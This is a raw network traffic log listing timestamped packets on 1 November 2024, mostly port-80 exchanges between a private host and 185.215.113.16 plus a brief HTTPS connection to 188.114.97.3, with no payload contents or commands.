Nov 1, 2024 03:46:23.542902946 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.542937040 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.542951107 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.543046951 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.543067932 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.543078899 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.543085098 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.543097973 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.543139935 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.543337107 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.543375015 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.543679953 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.543699026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.543715000 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.543719053 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.543740034 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.543762922 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.543859005 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.543872118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.543895960 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.543916941 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.544368029 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.544378996 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.544390917 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.544409037 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.544429064 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.545365095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545377016 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545387983 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545411110 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.545425892 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.545537949 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545555115 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545566082 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545577049 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545581102 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.545583963 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545597076 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545603991 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.545608997 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545619965 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545630932 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545631886 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.545643091 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545653105 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.545655966 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545669079 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545679092 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.545681953 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545689106 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.545694113 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545706987 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.545717001 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.545732021 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.545751095 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.580049038 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.580064058 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.580074072 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.580117941 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.580133915 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.626609087 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.626646996 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.626676083 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.626688957 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.626698971 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.626724005 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.626799107 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.626811981 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.626842022 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.626933098 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.626943111 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.626981974 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.627080917 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.627093077 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.627120018 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.627146959 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.627330065 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.627341032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.627353907 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.627368927 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.627383947 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.627615929 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.627628088 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.627640009 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.627655983 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.627672911 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.627835035 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.627870083 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.627873898 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.627890110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.627916098 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.627931118 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.628170967 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.628182888 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.628192902 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.628211021 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.628238916 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.628398895 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.628411055 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.628422976 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.628434896 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.628438950 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.628448009 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.628468037 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.628484964 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.656512022 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.656534910 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.656560898 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.656588078 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.656611919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.656656027 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.656672955 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.656713963 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.661206007 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.661252975 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.661283016 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.661295891 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.661328077 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.661341906 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.661484957 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.661529064 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.661561966 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.661602974 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.661691904 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.661703110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.661740065 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.661859035 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.661901951 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.661925077 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.661964893 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.661979914 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.661989927 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.662031889 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.662130117 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.662142038 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.662154913 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.662168026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.662170887 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.662180901 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.662195921 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.662226915 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.662529945 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.662543058 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.662558079 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.662575960 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.662590981 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.662723064 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.662734032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.662745953 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.662764072 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.662791014 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.662997007 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663007975 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663018942 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663028955 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663041115 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663045883 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.663083076 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.663369894 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663381100 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663388014 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663393974 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663403988 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663435936 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.663450003 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.663744926 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663757086 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663768053 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663779974 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.663794994 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.663817883 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.698585987 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.698657036 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.698667049 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.698678970 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.698709011 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.698729992 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.714111090 CET	443	58530	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:23.714200020 CET	443	58530	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:23.714260101 CET	58530	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:23.714430094 CET	58530	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:23.714436054 CET	443	58530	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:23.745572090 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.745626926 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.745667934 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.745680094 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.745714903 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.745728970 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.745882988 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.745894909 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.745906115 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.745919943 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.745929003 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.745948076 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.745990992 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.746242046 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.746294022 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.746335983 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.746347904 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.746360064 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.746371984 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.746382952 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.746381998 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.746396065 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.746397018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.746426105 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.746928930 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.746939898 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.747005939 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.747061014 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.747071981 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.747088909 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.747107983 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.747133017 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.747354031 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.747365952 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.747376919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.747389078 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.747396946 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.747400999 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.747425079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.747451067 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.747864008 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.747880936 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.747891903 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.747906923 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.747934103 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.775301933 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.775335073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.775352955 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.775357962 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.775379896 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.775403023 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.775437117 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.775476933 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.780041933 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780096054 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780107975 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780113935 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.780141115 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.780164957 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.780276060 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780288935 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780324936 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.780337095 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.780421972 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780433893 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780469894 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.780489922 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.780558109 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780570030 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780610085 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.780757904 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780771017 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780781984 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780793905 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780805111 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.780807018 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.780843019 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.780869007 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.781172991 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.781184912 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.781194925 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.781207085 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.781218052 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.781227112 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.781244040 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.781274080 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.781560898 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.781573057 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.781584978 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.781596899 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.781610966 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.781625986 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.781864882 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.781877041 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.781888008 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.781903982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.781914949 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.781925917 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.781958103 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.782208920 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.782228947 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.782241106 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.782253981 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.782264948 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.782265902 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.782304049 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.782571077 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.782582998 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.782594919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.782605886 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.782614946 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.782618046 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.782634020 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.782655954 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.817068100 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.817090988 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.817125082 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.817122936 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.817146063 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.817167044 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.817209959 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.817250967 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.864528894 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.864579916 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.864595890 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.864619017 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.864707947 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.864722967 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.864748001 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.864761114 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.864836931 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.864886045 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.864906073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.864917994 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.864928961 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.864952087 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.864973068 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.865256071 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.865307093 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.865400076 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.865412951 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.865425110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.865444899 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.865466118 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.865638971 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.865657091 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.865668058 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.865679979 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.865683079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.865693092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.865700960 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.865732908 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.866133928 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.866180897 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.866338968 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.866352081 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.866363049 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.866374016 CET	80	58527	185.215.113.16	192.168.2.6
